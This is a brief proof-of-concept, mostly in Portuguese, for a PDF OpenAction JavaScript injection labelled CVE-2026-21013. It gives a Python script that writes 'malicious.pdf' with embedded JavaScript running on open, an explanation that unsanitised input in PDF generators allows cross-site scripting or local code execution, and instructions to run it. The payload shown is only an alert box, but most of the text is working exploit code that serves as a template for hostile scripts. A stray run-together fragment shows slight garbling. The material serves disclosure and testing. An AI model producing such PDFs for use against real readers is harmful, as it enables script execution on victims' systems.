
Gera um PDF com JavaScript embutido para demonstrar o CVE-2026-21013, uma injeção de OpenAction que leva à execução de scripts em leitores de PDF vulneráveis.
# generate_pdf_js_inject.py - Creates a PDF with embedded JavaScript
pdf = b"""%PDF-1.7
1 0 obj
<< /Type /Catalog /OpenAction << /S /JavaScript /JS (app.alert('XSS')) >>
>>
endobj
trailer
<< /Root 1 0 R >>
%%EOF
"""
with open("malicious.pdf", "wb") as f:
f.write(pdf)
print("malicious.pdf created. When opened in a vulnerable PDF reader, it will execute JavaScript.")
Um gerador de PDF não sanitiza o conteúdo fornecido pelo usuário antes de incorporá-lo no arquivo PDF. Um invasor pode injetar uma entrada de JavaScript que é executada quando o documento é aberto, levando a cross-site scripting (em visualizadores web) ou execução local de código (em leitores de desktop com suporte completo a JS).
/OpenActionExecute o gerador:
python generate_pdf_js_inject.py
Abra o malicious.pdf resultante em um leitor de PDF que suporte JavaScript; uma caixa de alerta aparecerá.